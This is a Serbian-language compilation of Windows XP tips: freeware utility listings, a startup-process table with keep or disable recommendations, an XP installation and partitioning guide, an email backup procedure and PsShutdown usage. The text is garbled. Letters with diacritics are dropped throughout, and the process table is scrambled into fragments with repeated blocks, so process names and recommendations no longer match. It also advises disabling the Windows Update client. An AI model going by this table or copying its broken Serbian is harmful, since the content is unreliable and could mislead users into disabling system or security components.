doprinosi poveanju brzine programa i raunara u celini. Za
razliku od dosta poznatijeg programa MemTurbo koji zauzima oko
8 MB memorije kada je startovan, AMS Fast Defrag zauzima samo
FREE
Zatita,Popravka i
Podeavanje
ReForce
http://www.mlin.net/
Ovaj program postoji u dve verzije. Jedna se instalira u Control
Panel i mogue je pokrenuti je iz njega. Druga verzija je klasini
exe fajl koji se pokree duplim klikom na njega kao i svaki drugi
program. Slui za pregled svih programa koji se startuju sa
startom raunara. Programi su podeljeni po kategorijama starta tj.
da li im je start upisan u startup direktorijumu, u dve kategorije u
registry bazi itd... ma mogunost iskljuenja starta pojedinih
program i prua odlinu kontrolu nad startom raunara. Program
je definitivno neophodan za sve koji ele da poveaju efikasnost i
brzinu raunara a i brzinu podizanja sistema.
http://www.pagehosting.co.uk/rf/
http://www.backsettings.com/
Pokuajte pretragu pomou eDonkey2000 programa.
naviknu.
BadCopy Pro
http://www.jufsoft.com/badcopy/
http://www.isobuster.com/
http://www.smart-projects.net/
Context Edit
Search on Yahoo
ftp://sac-ftp.gratex.sk/utilfile/cnxtedit.zip
WAssociate
http://www.xs4all.nl/~wstudios/Associate/index.html
http://www.macecraft.com/
Ovaj program je, kao i to samo ime govori, skup raznih vrlo korisnih
alata u jednom programu. Program sadri grupu alata koji vre
pregled, podeavanje i ienje registarske baze (registry), zatim
alate za odravanje i rad sa fajlovima, alate za automatizaciju nekih
vaih radnji i procesa, alate za pravljenje kopija tj. bekapovanje,
alate za podeavanje pristupa korisnicima raunara i mnoge druge.
Iako je teko zamisliti toliko alata na jednom mestu, svi su vrlo dobro
Zatita,Popravka i uraeni i imaju jako puno opcija koji e zadovoljiti kako one manje
Podeavanje
zahtevne tako one mnogo zahtevnije korisnike. Vrlo dobra opcija je i
opcija za pregled asocijacija tipova fajlova o emu moete vie
saznati ako pogledate opise programa DlTypes, WAssociate i
Contex Edit.
Shareware
StartupRun
http://nirsoft.cjb.net/
FREE
Zatita,Popravka i
Podeavanje
MyUninstaller
http://nirsoft.cjb.net/
FREE
Zatita,Popravka i
Podeavanje
NVRefreshTool
http://www.nvrt.org/
FREE
Zatita,Popravka i
Podeavanje
DlTypes
FREE
http://dlsoftware.pair.com/
DlTypes je program koji pomae pri podeavanju i kontroli
ekstenzija. Tokom rada na raunaru instaliraju se programi koji
slue za obradu, pregled i izradi raznih vrsta fajlova. Ekstenzija
predstavlja obino zadnja tri karaktera u imenu fajla, odnosno
karaktere koji se nalaze posle take (npr. .jpg, .mp3, .avi, .mpg,
.mpeg, itd). Naravno, mogue je imati vie programa koji su
povezani sa jednom ekstenzijom, npr. RealPlayer-MediaPlayerBSPlayer... Ponekad se deava da neki od programa preuzme
kontrolu nad nekim ekstenzijama i da je gotovo nemogue
namestiti koji program e otvarati koje ekstenzije. DlTypes ovde u
mnogome pomae jer je mnogo upravljiviji i ima vie opcija od
standardnog Windowsovog programa za kontrolu povezanosti
MemTurbo
http://www.memturbo.com/
FREE
http://home.carolina.rr.com/lexunfreeware
Iako besplatan, program nam omoguava odlinu kontrolu nad
windows XP & 2000 registarskom bazom (registry). Program moe vrlo
lako da stoji rame uz rame sa slinim softverom koji se debelo
naplauje. RegScrubXP nam prua mogunost da obriemo
nepotreban sadraj registarske baze, koja je srce Windows sistema, a
samim tim i ubrza pristup bazi to rezultira ubrzanju sistema. Druga od
http://www.kaspersky.com/
http://download.cnet.com/ (za pretragu)
http://www.iolo.com/
http://www.iolo.com/sm/download.cfm
Startup Control
Panel
http://codestuff.mirrorz.com/
http://codestuff.cjb.net/
FREE
FREE
Zatita,Popravka i
Podeavanje
Hosting site
download
Kao i Startup Control Panel program slui za kontrolu
startovanja programa pri podizanju sistema. Ima sline
funkcije kao i Startup Control Panel. Projekat je prekinut i
nee biti novijih verzija. Ipak, program je odlian i sve
jedno je da li koristite Startup Control Panel ili Startup
Manager. Startup Control Panel je ipak noviji.
Powertoys for
http://www.microsoft.com/windowsxp/pro/downloads/powertoys.asp
Windows XP
FREE
http://www.ontrack.com/
SpyBot
Ad-Aware
Startup Control
Panel (Free)
Startup Manager
(Free)
System Mechanic
(SystemMechanic)
(Shareware
software)
Preimenovati fajl u
AVP (upotrebite
AVP ili sl)
Ugasiti iz Task
Manager-a
Pdesk
PowerReg
Scheduler
ppcontrol
Pdesk.exe
ppcontrol.exe
Preporuka
SpyBot
(runo)
Po elji
korisnika
ppmemcheck.exe
Precisiontime
PrecisionTime.exe
SpyBot
Ptssvc
PTSSvc.exe
ppmemcheck
Qttask
QTTask.exe
Preporuka
Iskljuiti
Preporuka
RealEvent.exe
Iskljuiti
RealPlay
Real Player
Iskljuiti
Realsched
RealSched.exe
Iskljuiti
Rmctrl
RmCtrl.exe
Iskljuiti
Rnaapp
Rnaapp.exe
Ne dirati.
RNAthChk.exe
Iskljuiti
Rndal
RNDAL.exe
Iskljuiti
Rpcss
Rpcss.exe
Ne dirati
Realevent
Rnathchk
Rscmpt
Rscmpt.exe
Rsrcmtr
RsrcMtr.exe
Po potrebi
Rtfixm31
RtFixM32.exe
Iskljuiti
Rundll
Rundll32
Rundll.exe
Rundll32.exe
Ne dirati
Ypager
Ypager.exe
Preporuka
Po elji
korisnika
Preporuka
ZAPro.exe
Zlclient
Zlclient.exe
ZoneAlarm
ZoneAlarm.exe
Zapro
Ne dirati
(vidi
NetRun)
Watch
Watchdog
Watch.exe
Watchdog.exe
Preporuka
Iskljuiti
Weather.exe
Iskljuiti
Webcolct.exe
Ne dirati
WHAgent
WHAgent.exe
WhenUSave
Weather
Webcolct
Winampa
Winampa.exe
Winlogon
WinLogon.exe
Ne dirati
Winsrvc
Winsrvc.exe
WMEncAgt.exe
Iskljuiti
Wmiprvse
WMIPrvSe.exe
Ne dirati
Wnad
WNAD.exe
Iskljuiti
Wowexec
WOWExec.exe
Ne dirati
Wuauclt.exe
Iskljuiti
Wucrtupd
WUCrtUpd.exe
Iskljuiti
Wuloader
WULoader.exe
Iskljuiti
Wzqkpick.exe
Iskljuiti
Wmencagt
Wuauclt
Wzqkpick
Iskljuiti
Preporuka
Ne dirati
Vplus
VPlus.exe
Vsmon
VSMon.exe
Ne dirati
Vsstat
VSSTat.exe
Ne dirati
Preporuka
uclock
uclock.exe
Upd
UPD.exe
SpyBot
Updreg
UpdReg.exe
Iskljuiti
Updtray
UpdTray.exe
Preporuka
Tapisrv
TAPISRV.exe
Ne dirati
Taskbar
TaskBar.exe
AVP
Taskmgr
TaskMgr.exe
Ne dirati
TaskMon.exe
Iskljuiti
Taskmon
Taskswitch
TaskSwitch.exe
Tfswctrl
Tfswctrl.exe
TkBellExe
Evntsvc.exe
Iskljuiti
VSmon.exe
Ne dirati
(videti
NetRun u
sekciji
korisni
programi)
TSADBOT.exe
SpyBot
tschelp.exe
True Vector
TSAdBot
tschelp
Iskljuiti
TuneUp Process
Manager
TuneUp Utilities
Po elji
korisnika
Po elji
korisnika
Preporuka
SaveNow.exe
Save.exe
Iskljuiti
Obrisati
SpyBot
SBHC.exe
Iskljuiti
Obrisati
ScanRegW.exe
Ne dirati
Sdii
Sdii.exe
Iskljuiti
Services
Services.exe
Ne dirati
Sexy
Sexy.exe
AVP
SaveNow
Save
WhenUSave
Sbhc
ScanRegistry
Scanregw
SiSUSBrg
SiSUSBrg.exe
Ne dirati
SM56Hlpr.exe
Iskljuiti
smax4pnp
smax4pnp.exe
Po elji
korisnika
Smss
Smss.exe
Ne dirati
Snmp
SNMP.exe
Iskljuiti
snagit
snagit.exe
Sm56hlpr
Spool32
Spoolsv
soap.exe
Spool32.exe
SpoolSV.exe
Ne dirati
Ne dirati
Ne dirati
Svchost
Svchost.exe
System
System.exe
Virus
System Idle
Process
Ne dirati
Systray
SysTray.exe
Ne dirati
System
ili
Win_api_driver
Preporuka
RealEvent.exe
Iskljuiti
RealPlay
Real Player
Iskljuiti
Realsched
RealSched.exe
Iskljuiti
Rmctrl
RmCtrl.exe
Iskljuiti
Rnaapp
Rnaapp.exe
Ne dirati.
RNAthChk.exe
Iskljuiti
Rndal
RNDAL.exe
Iskljuiti
Rpcss
Rpcss.exe
Ne dirati
Realevent
Rnathchk
Rscmpt
Rscmpt.exe
Rsrcmtr
RsrcMtr.exe
Po potrebi
Rtfixm31
RtFixM32.exe
Iskljuiti
Rundll
Rundll32
Rundll.exe
Rundll32.exe
Ne dirati
Preporuka
ZAPro.exe
Zlclient
Zlclient.exe
ZoneAlarm
ZoneAlarm.exe
Zapro
Ne dirati
(vidi
NetRun)
DRAGAN MARKOVIC
Na samom poetku predlaem da ukljuite sve komponente koje imate na raunaru, kao npr. Skener,
tampa, Web kameru, Dojstik i ostale ureaje.
Za poetak e te morati da odete u bios i da namestite da vam se raunar podigne sa CD-ROM drajva.
Pri startu raunara, odmah posle paljenja, pritiskajte taster DEL na vaoj tastaturi. On se nalazi iznad
kursorskih tastera (strelice u sva etiri smera). Kada ste u njega uli pokuajte da naete neku od
sledeih stavki ili slinu stavku:
First Boot Device, Boot priority, Boot order ili slino.
Potrebno je namestiti da vam se raunar startuje sa CD-ROM drajva tj, njega je potrebno postaviti
kao First Boot Device.
Ukoliko vam se pojavi poruka:
OS not found
Install an OS on this hard drive
ili neka slina poruka, neto niste dobro uradili ili niste ubacili instalacioni CD Windows XP-a u
CD-ROM drajv. Ukoliko imate dva CD-ROM drajva instalacioni CD je potrebno ubaciti u korektan
drajv. Pokuajte da CD ubacite u drugi CD-ROM drajv ili proverite podeavanja u biosu.
Ukoliko dobijete poruku Press any key to boot from CD....., pritisnite bilo koji taster da bi startovali
instalaciju ili e vam se pojaviti poruka OS not found. U tom sluaju restartujte raunar i budite bri
pri pritiskanju nekog tastera kad dobijete poruku Press any key.....
Ukoliko imate RAID kontroler, pripremite disketu sa drajverima koju ste dobili i kada vam se pojavi
prvi ekran instalacije, ubacite tu disketu. Ukoliko imate CD, izbacite Win XP CD i ubacite taj CD.
Na prvom ekranu koji se pojavi pritisnuti ENTER.
Drugi ekran koji se pojavi je XP Licenca. Ukoliko se slaete sa licencom i elite da nastavite instalaciju OS-a pritisnite F8 taster.
Sledei prozor pokazuje aktivne particije ukoliko ih ima. Naravno, kod vas e biti drugi podaci i
razlikovae se od ovih na slici. Ukoliko instalirate Windows XP a imali ste neku drugu verziju Windows OS-a, ne bi bilo loe da sauvate sve podatke sa svih particija i da ponovo isparticioniete disk
koristei Windows XP wizard o kome se ovde govori. Tako bi ispoetka instalirali Windows i izbegli
brojne probleme koji mogu nastati pri instalaciji novije verzije Windowsa na stariju. Jo jednom
preporuujem da ponovo isparticioniete disk, kako bi bili sigurni da e Windows korektno raditi
(nekima HDD nije hteo da se prepozna dok nisu isparticionisali disk iz Windows XP instalacije).
Potrebno je odabrati particiju na koju elite da instalirate OS.
Ukoliko je disk sve i nije particionisan, kao na slici dole, morate napraviti particije. Ovo radite tako
to pritisnete C taster.
DRAGAN MARKOVIC
Ukoliko je disk ve particionisan, particije moete obrisati pritiskom da D taster. Obratite panju da
e te sa ovim najverovatnije (tj. sasvim sigurno) izgubiti podatke da itavog diska tj. i sa ostalih particija. Ovu opciju koristite paljivo i samo ako elite da ponovo podelite (particioniete) disk. Napominjem da je potrebno obrisati sve particije i da vam se pojavi ekran kao na donjoj slici.
Otvorie vam se prozor za particionisanje diska.
Potrebno je upisati veliinu particije u megabajtima. Znaci broj na slici predstavlja 16 GB. Za svaku
particiju je potrebno uraditi isti posao. Obeleiti Unpartitioned space, pritisnuti C i upisati veliinu.
Napominjem da e vam posle particionisanja ostati 8 MB unpartitioned space koje Windows
rezervie za sebe. Ovo je normalno.
Potrebno je da imate na umu sledee stvari.
Ukoliko imate jednu particiju (samo C: disk) u sluaju da se Windows pokvari i da ne moete da ga
podignete ili se desi slian problem, moe se desiti da vam se svi podaci izgube.
Ukoliko imate dve i vie particija u sluaju pada systema podaci koji ne nalaze na C: disku se nee
izgubiti ukoliko ne dirate nita oko particija pri instalaciji novog systema. Ovo je vrlo preporuljivo.
Takoe na ovaj nain ne optereujete sistemski disk raznim stvarima i njegovo odravanje postaje
mnogo lake i pri proveri Virusa i pri popravci i optimizaciji systema. Particija od 5 GB je otprilike
minimum za instalaciju Windows XP Pro OS-a i na njoj Windows XP radi vrlo dobro.
Ukoliko imate manji disk od 20 GB, namestite 1 particiju tj. u prostor u kome moete da upisujete
vrednosti ukucajte maximalnu vrednost (koja pie pod Maximum size).
Diskove od 20 GB i vee moete, ako elite, da particioniete na 2 dela (ili da ga ostavite da bude
samo jedna particija ako tako preferirate). Windows XP moe solidno da radi na particiji od 5 GB
(5120 MB = 5*1024) zajedno sa svim programima. Tada morate imati na umu da fajlove koje snimate
ne stavljate na C: disk ili u My Documents direktorijum koji se takoe nalazi na C: disku.
Za diskove od 40 GB do 60 GB nije loa ideja, a ak je i vrlo poeljno da se naprave dve particije.
Jednu particiju moete stavite da bude 10 GB (10240 MB) a ostatak stavite na drugu particiju.
Za diskove preko 60 GB, moete sami odluiti koliko elite da imate particija. Jedna bi trebala da
bude sistemska particija (od 10 GB to je sasvim dovoljno ili po vaoj elji ali ne preko 20 GB), a
ostale moete napraviti po vaoj elji tj. moete ostaviti da ostali prostor bude 1 particija ili ga
podeliti na vie particija.
Broj particija je ogranien samo brojem slova u abecedi s tim da su slova A i B rezervisana za Floppy
Diskove. Ipak broj particija ne bi trebao da bude vei od 4 particije (C: sistemska i D:, E:, F: kao
dodatne) i to samo za jako velike diskove. Ukoliko se bavite editovanjem video materijala, napravite
da vam druga particija bude to vea.
Kada ste sve particionisali odaberite particiju na koju hoete da se Windows XP instalira (to bi po
pravilu trebala da bude C: particija) pritisnite taster ENTER. Otvorie vam se novi prozor.
DRAGAN MARKOVIC
Ovde je potrebno odabrati koji file system elite da koristite i da disk formatizujete tim file sistemom.
NTFS je malo sporiji od FAT32 file systema, ali je mnogo sigurniji i stabilniji.
NTFS ima neuporedivo manju veliinu klastera od FAT32 (10 fajlova od 1 KB na NTFS zauzimaju 40
KB, dok na FAT32 mogu da zauzmu i do 320 KB).
NTFS moe da na sebi ima fajlove koji prelaze 4 GB u veliini, dok je kod FAT32 systema maximalna
veliina fajla malo manja od 4 GB (ovo za one koji planiraju da se bave DVD diskovima ija je veliina
preko 4.5 GB)
NTFS nije mogue koristiti iz DOS-a (sem pomou nekih programa), dok se FAT32 sistemu vrlo lako
pristupa iz DOS-a (koji se startuje pomou diskete).
Ukoliko nemate neke druge planove za rad na raunaru, preporuujem da formatiete sve particije
sa NTFS tj. opcijom koja je obeleena na slici. Ovim e te formatizovati samo C: particiju, dok e te
druge particije formatizovati iz Windows XP operativnog systema gde moete po elji odabrati da li
elite da to bude NTFS ili FAT32. Mogue je da vam C: disk bude NTFS a druge particije ili NTFS ili
FAT32.
Ukoliko ste ve ranije particionisali i formatirali disk i pripremili ga za instalaciju systema, moete
odabrati opciju Leave the current file system intact (no changes). Ukoliko pak imate FAT32 system a
elite NTFS, moete ili formatizovati disk opcijom kao na slici ili odabrati opciju Convert the partition
to NTFS. Preporuka je da ipak formatirate disk NTFS sistemom tj. opcijom kao na slici.
Odabirom neke opcije sa prethodne slike, poinje instalacija Windows XP operativnog systema.
Koliko dugo e se Windows instalirati zavisi do brzine vaeg raunara i pojedinih komponenti.
Sledei ekran koji e vam se pojaviti bie ekran na kom Microsoft obavetava korisnike o novostima
Windows XP OS-a. Sa leve strane e te videti koliko je procentualno instalacija zavrena i na kom se
stadijumu nalazi.
Prvi sledei ekran na kom e te imati mogunosti da neto podeavate izgleda ovako.
DRAGAN MARKOVIC
Kliknite na Customize... i podesite opcije kao na sledeoj slici. Kada ste zavrili
podeavanje kliknite na dugme Apply pa na OK.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
DRAGAN MARKOVIC
DRAGAN MARKOVIC
Na svakom prozoru koji ste otvarali pritisnite OK dok ne doete do prozora na kom imate opcije Customize... i Details...
Kliknite na Next> dugme.
Ukucajte vae ime i ako imate organizaciju i kliknite na Next>.
Ukucajte registarski broj koji ste dobili sa vaom kopijom Windows XP operativnog systema i
kliknite na Next>.
Ukucajte ime vaeg raunara po elji. Password moete uneti po elji, ali vam preporuujem da ga
ne dirate. Ukoliko vam je potreban, moe se podesiti iz Windows XP-a. Kliknite na Next>.
Podesite datum, vreme i vremensku zonu u kojoj se nalazite. Za nae prostore namestite (GMT
+01:00) Belgrade,.... Kliknite na Next>.
Windows e nastaviti sa instalacijom systema i svih komponenti koje va raunar poseduje. U tom
procesu e se moda nekoliko puta i restartovati to je normalno. Ukoliko instalacija u nekom momentu stane a raunar se zamrzne (kockice koje se pale u donjem desnom delu ekrana ukazuju da
raunar neto radi i ako one stanu da se pomeraju due vreme znai da je verovatno raunar blokiran), restartujte raunar pomou restart dugmeta na vaem kuitu. Windows e se startovati i obavestiti vas da se instalacija nije zavrila i nastaviti instalaciju.
Ukoliko vam se pojave jo neki upitnici, najbolje je da ostavite Windows-ove predloge i da kliknete
na Next> dugme. Sve opcije se i onako mogu podeavati iz Windows OS-a.
Kada se instalacija zavri pokazae vam se prozor
Welcome to Microsoft Windows
Thank you for purchasing Microsoft Windows XP.
Kliknite na Next strelicu.
Odaberite na koji nain e se raunar konektovati na internet ukoliko vas instalacija pita i pratite
dalja uputstva. Ovu proceduru moete preskoiti ako kliknete na Skip >>.
Are you ready to register online with Microsoft?
Ovo moete preskoiti i kasnije se registrovati kada napravite internet konekcije.
Sledei upitnik e biti da unesete vae ime koje e Windows koristiti kada se budete logovali tj. kada
budete podizali system. Ukoliko e biti samo jedan korisnik tj. vi, ukucajte samo vae ime pod
stavkom Your Name. Ukoliko e biti vie korisnika, moete ih ukucati pod ostala polja. Dodavanje je
mogue i iz Windows OS-a tako da mogue korisnike ne morate odmah unositi.
Kliknite na Next pa na Finish.
Windows vam je instaliran i spreman za upotrebu.
DRAGAN MARKOVIC
Sada je potrebno da formatiete sve ostale particije. Otvorite Windows Explorer (Start > Programs >
Accessories > Windows Explorer), i kliknite na Local Disk (D:) disk. Windows bi trebalo da vam javi
da disk nije formatiran i da vam ponudi da ga formatie. Ukoliko vam ne ponudi nita, kliknite
desnim dugmetom mia na Local Disk (D:) i odaberite opciju Format. Na slici u naslovu pie C: disk.
Kod Vas e pisati Local Disk (D:) ili neku drugi disk koji formatiete. C: NI U KOM SLUAJU NE
FORMATIITE JER JE ON SISTEMSKI DISK KOJI VE U UPOTREBI.
Na slici su opcije koje bi trebali da podesite. Capacity: NE DIRAJTE, JER ON SAMO POKAZUJE
KOLIKA VAM JE PARTICIJA. Obratite panju na NTFS. Na poetku teksta je opisano ta to znai.
Ovaj postupak ponovite za sve ostale particije, sem za C: particiju.
Posle ovoga bi bilo dobro da instalirate Service Pack 1a (SP1a) ili neki noviji. Iskopirajte sa CD diska
Service Pack koji ste nabavili na Hard Disk. Najbolje je da napravite neki privremeni direktorijum na
C: disku. Nazovite ga npr. tempsp1. Idite u direktorijum tempsp1 i startujte Service Pack instalaciju.
Posle malo vremena, pojavie vam se sledei prozor.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
Ovo vam pokazuje da je instalacija korektno poela. Vreme trajanja instalacije zavisi od
brzine vaeg raunara. Saekajte da se instalacija zavri.
DRAGAN MARKOVIC
Ovim vas instalacija obavetava da je proces zavren. Kliknite na Finish i raunar e se restartovati.
Kada se Windows XP Pro ponovo podigne bie updateovan na Service Pack 1. Startujte Windows
Explorer i idite na Help padajui meni. Odaberite About Windows opciju i proverite da li pie SP1 (ili
SP1a ili vei u zavisnosti koji ste instalirali).
Posle ovoga moete nastaviti sa konfiguracijom systema.
Mogue je da posle instalacije Service Packa bude instaliran program Alexia. Prijavljeno je da usporava konekciju i uasno optereuje system, koji posle brisanja ovog programa znatno ubrza rad. Ovo
je spyware program kojeg bi trebalo obrisati i oistiti system od njega pomou SpyBot ili Ad-aware
programa koji su opisani u taci 10. Ovo se moe uraditi i posle instalacije svih programa koje koristite pri normalnom radu i korienju raunara.
DRAGAN MARKOVIC
Vee nije uvek i bolje. Moderni vrsti diskovi ogromnih kapaciteta iz fabrike izlaze formatirani tako
da imaju jedinstvenu particiju i jednu slovnu oznaku - sveprisutno C:. Ako takav disk podelite na
vie particija, od kojih svaka ima svoju slovnu oznaku, dobiete na brzini, smanjiti izgubljeni prostor
i znatno olakati rad s datotekama.
Alatke za particionisanje ugraene u Windows jesu dobre za rad s novim ili praznim vrstim
diskovima, ali nisu upotrebljive ako na disku ve postoje programi ili podaci. U Windowsu 9x i Me
pokrenite fdisk iz komandne linije ili pritisnite Start-Run i u dijalogu Open upiite fdisk. U Windowsu
XP i 2000 upotrebite alatku Disk Management. Pogrena upotreba ovih alatki moe imati katastrofalne posledice po podatke na disku, stoga prvo proitajte Microsoftovu dokumentaciju; na adresi
find.pcworld.com/ 33503 nai ete vie informacija o alatki fdisk, a na find.pcworld. com/33506
detalje o alatki Disk Management.
PowerQuestov Partition Magic 8 (70 USD) omoguava lako dodavanje, brisanje i promenu veliine
particija bez gubitka podataka. Dobra alatka za particionisanje je i Partition Commander (30 USD)
kompanije V Communications. Probnu verziju moete preuzeti s adrese find.pcworld. com/33923 ili
s naeg diska.
Bri i pouzdaniji diskovi
Da li se particionisanje diskova isplati? Da, za veinu korisnika, a evo i zato.
Skladini prostor: Windows deli vrsti disk u segmente koji se nazivaju klasteri. Kada se datoteka
zapisuje na disk, Windows popunjava odgovarajui broj klastera potreban za njeno uvanje. Poslednji klaster je samo delimino popunjen, pa ako je vrsti disk formatiran tako da su, na primer, klasteri
veliine 16 KB, a elite da snimite poruku e-pote koja ima 6 KB, u tom poslednjem klasteru e biti
10 KB neiskorienog prostora. Pomnoite to s hiljadama datoteka na disku i videete da izgubljeni
prostor uopte nije zanemarljiv.
Prostrane partcije u sistemu FAT32 zahtevaju vrlo velike klastere (SLIKA 1), ali ako ih smanjite s 32
KB na 16 KB ili moda ak na 8 KB, oslobodiete znaajan prostor. S druge strane, klasteri manji od
8 KB nee bitno uticati na utedu prostora.
Bolje performanse: Windows na vrstom disku uva veliku datoteku za virtuelnu memoriju (engl.
swap), koja proiruje fiziku memoriju raunara. Ako datoteku za virtuelnu memoriju smestite na
zasebnu particiju, ona nikada nee biti fragmentirana, a to e Windowsu omoguiti da bre pronalazi
podatke i uitava ih u memoriju kada to zatreba. Particija na kojoj ete uvati datoteku za virtuelnu
memoriju treba da bude barem dvaput vea od fizike memorije, a kada je napravite u dijalogu
Virtual Memory upiite novu lokaciju datoteke za virtuelnu memoriju. U Windowsu 9x i Me desnim
tasterom pritisnite ikonicu My Computer, odaberite Properties, odaberite karticu Performance i
pritisnite dugme Virtual Memory. U Windowsu 2000, desnim tasterom pritisnite ikonicu My Computer, odaberite Properties, otvorite karticu Advanced, pritisnite dugme Performance Options i u
odeljku Virtual Memory izaberite Change. U Windowsu XP, desnim tasterom pritisnite My Computer, odaberite Properties, otvorite karticu Advanced i u odeljku Performance pritisnite dugme Set-
DRAGAN MARKOVIC
tings. Nakon toga pritisnite karticu Advanced i u odeljku Virtual Memory pritisnite dugme
Change.
Bezbedniji podaci: uvanje podataka u zasebnoj particiji moe ih zatititi od problema koji se jave
na nekom drugom delu diska. Ako se Windows oteti, formatirajte particiju na kojoj se nalazi operativni sistem, a potom ga ponovo instalirajte - pri tome ne morate brinuti da li ete izgubiti vane
datoteke koje uvate na zasebnim particijama.
Detalji o sistemu
DA LI NOU LEITE budni pokuavajui da se prisetite koji tip matine ploe imate u raunaru ili
koja je verzija njegovog BIOS-a? Ne? Dobro je ako je tako, ali ponekad e vam te informacije moda
zatrebati. Kada do toga doe, program CPU-Z moe da pomogne. Ova besplatna alatka pronalazi
razne tajanstvene sitnice koje se tiu matine ploe, BIOS-a, ke memorije, radne memorije, AGP
utinice i procesora. Sve te informacije bie vam lako dostupne.
DRAGAN MARKOVIC
Ukoliko reinstalirate Windows ili elite da instalirate novu verziju OS-a, obavezno napravite kopije
vaih fajlova. Najbolje je da kopije (back-up) napravite na CD-ROM disku. Fajlove koje trebate da
sauvate se obino nalaze u direktorijumu My Documents na vaem raunaru. Najbolje bi bilo da
sauvate ceo sadraj ovog direktorijuma. Sledei direktorijum koji bi trebali da sauvate je direktorijum u kom se nalaze vaa e-mail pisma. On se nalazi na c:\ particiji (disku). Ako imate Windows XP,
potrebno je startovati Windows Explorer (Start>Run... kucate explorer i kliknete na OK) i otii na
Tools padajui meni i odabrati opciju Folder Options. Otvorite tab View i pronaite opciju Hidden
Files and Folders. Potrebno je da podesite dugme na Show Hidden Files and Folders. Kliknite na
OK.
U Windows Exploreru na c:\ particiji nai direktorijum Documents and Settings. Unutar tog direktorijuma je potrebno nai direktorijum sa imenom trenutno ulogovanog korisnika. To ime moete nai
ako odete na Start i pogledate Log Off <ime ulogovanog korisnika>... Neka je npr. to ime Vlada.
Potrebno je otii u direktorijum Vlada, zatim u Local Settings, u Application Data i u Identities. Kada
uete u Identities direktorijum pojavie vam se direktorijum sa nekim brojevima i slovima u imenu.
Npr. {676527B0-3364-4976-A7F9-8AC8427H1A9D}. Potrebno je da uete u taj direktorijum i u svaki
sledei direktorijum dok ne uete u direktorijum u kome se nalaze fajlovi sa ekstenzijom .dbx (npr.
Drafts.dbx, Inbox.dbx, itd.) Ti fajlovi predstavljaju baze vaih pisama. Potrebno je da ih sve prekopirate na neko sigurno mesto i da ih iskopirate zajedno sa ostalim bekapovanim fajlovima na CD-ROM
disk.
Ukoliko u Identities direktorijumu postoji vie direktorijuma sa brojevima i slovima u imenu
potrebno je ui u svaki od njih i pratiti sve direktorijume kao u prolom primeru dok se ne doe do
fajlova. Te fajlove onda kopirajte na drugo mesto koje je svaki put razliito, iz razloga da se podaci
ne pomeaju i da ne izgubite vaa e-mail pisma. Moe se desiti da u tim direktorijumima nema fajlova
i tada, logino, nema ta da se kopira. Ukoliko raunar ima vie korisnika, potrebno je za svako ime
koje se loguje uraditi ovaj proces. Imajte na umu da bekapujete svaku grupu fajlova (iz svakog direktorijuma sa slovima i brojevima i za svakog korisnika koji se loguje) u drugi direktorijum.
Druga stvar koja treba da se kopira i bekapuje su e-mail adrese tj. vai kontakti. Potrebno je otii na
Start>Programs>Accessories i startovati Address Book. Otii na File padajui meni i odabrati opciju
Export. Odabrati iz ponuenih opcija Address Book (WAB)... Dodeliti ime fajlu i snimiti ga na mesto
gde sakupljate fajlove za bekap.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
DRAGAN MARKOVIC
Ukoliko koristite Microsoft Mouse s tokiem, veliinu ekrana moete poveavati i smanjivati u Internet Exploreru, Microsoft Wordu ili (u neto manjem obimu) u Microsoft Excelu ako drite pritisnut
taster i koristite toki.
CDDB zna naslov pesme
Kako mogu da saznam naslov albuma i ime izvoaa dok se kompakt disk nalazi u CD ureaju?
Nekada sam to mogao, ali vie ne, otkada mi je disk otkazao poslunost.
Prvo, probajte da izaberete View-Disk/Track Info. Ukoliko je na disku oteena datoteka cdplayer.ini
iz direktorijuma Windows, verovatno ste izgubili spisak naslova i izvoaa. Umesto ponovnog
unoenja svih izgubljenih informacija, zato ne biste koristili program koji e vam sve te informacije
prikupiti s Interneta? Dovoljno je da se poveete na Internet, ubacite CD u ureaj i saekate nekoliko
trenutaka dok program ne preuzme ime izvoaa, naslov albuma i informacije o pesmama iz velike
baze audio diskova pod imenom CDDB. Ako va muziki ukus nije sasvim specifian, mogue je da
vie nikada neete morati sami da unosite naslove i imena izvoaa. Navedene programe (koji su
besplatni ili se besplatno distribuiraju) moete pronai na adresi www.cddb.com/cdplayer.html, a
vie informacija o bazi CDDB nai ete na adresi http://www.cddb.com/.
Hteli biste da isprobate program koji ima veliki broj opcija za podeavanje? Odluite se za CD Valet;
predstavljen je u izdvojenom odeljku.
Kaskadni meniji
Program Scrollworks Cascader pomoi e vam da napravite meni verzije Control Panela, omotnica
Printers, My Documents, My Computer, Network Neigbourhood i drugih. Lako se koristi a moete ga
preuzeti s FileWorlda ili lokacije proizvoaa na adresi http://www.scrollworks.com/.
Datoteke iz ovog lanka nalaze se na adresi www.fileworld.com/magazine. Skot Dan je saradnik PC
Worlda i glavni autor drugog izdanja knjige PC Biblija (Peachpit Press, 1995).
Sluajte muziku pomou CD Valeta
Ako traite jeftin program za sluanje muzike koji e vas potedeti unoenja informacija o
izvoaima i pesmama, a uz to zauzima vrlo malo mesta na ekranu, razmislite o CD Valetu, malom,
ali monom programu kompanije GHL Software. Pored preuzimanja informacija o pesmama i
izvoaima iz baze CDDB na Internetu (pogledajte odeljak "CDDB zna naslov pesme"), ovaj erver
program ima veliki broj opcija: programira koje e se pesme sluati i po kom redosledu, puta audio
diskove na vie ureaja i obrauje prikazane informacije. Ceo program kontroliete pomou ikonice
na sistemskoj paleti (pored asovnika). CD Valet moete preuzeti s FileWorlda ili s adrese
http://www.ghlsoftware.com/.
DRAGAN MARKOVIC
SLIKA 1: BESPLATNA
ALATKA Desktop Sidebar
donosi obilje informacija
na radnu povrinu.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
liko preica za iskljuivanje s razliitim parametrima. Na primer, da biste restartovali raunar nakon
pet sekundi (uz odgovarajue upozorenje), trebalo bi da upiete neto poput "C:Program
Filespsshutdown.exe" -l -r -t 5 (putanja do programa se, naravno, moe razlikovati). Moete ak i
dodati prilagoenu poruku uz najavu gaenja, tako to ete upisati -m pa razmak, a potom i poruku
pod znacima navoda.
Premda PsShutdown radi i s Windowsom XP, XP ima sopstveni program shutdown.exe, koji je i bio
osnova za PsShutdown. Ako elite da saznate vie detalja o parametrima te ugraene alatke, odaberite Start-All Programs-Accessories-Command Prompt, upiite shutdown.exe ili shutdown.exe -?
i pritisnite Enter.
AUTOMATIZUJTE POKRETANJA I ISKLJUIVANJA
Naravno da moete dodati bilo koju aplikaciju u grupu Startup da bi se automatski pokretala svaki
